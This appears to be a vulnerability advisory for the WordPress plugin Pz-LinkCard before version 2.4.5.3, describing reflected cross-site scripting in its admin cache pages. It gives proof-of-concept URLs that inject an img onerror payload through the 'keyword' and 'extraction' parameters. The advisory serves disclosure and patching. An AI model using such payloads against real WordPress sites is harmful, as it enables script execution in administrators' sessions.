WordPress Plugin Vulnerabilities

Pz-LinkCard < 2.4.5.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape multiple parameters before outputting them back in admin dashboard pages, leading to Reflected Cross-Site Scripting issues

Proof of Concept

v < 2.4.5
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E ETC

v <= 2.4.5.1
https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E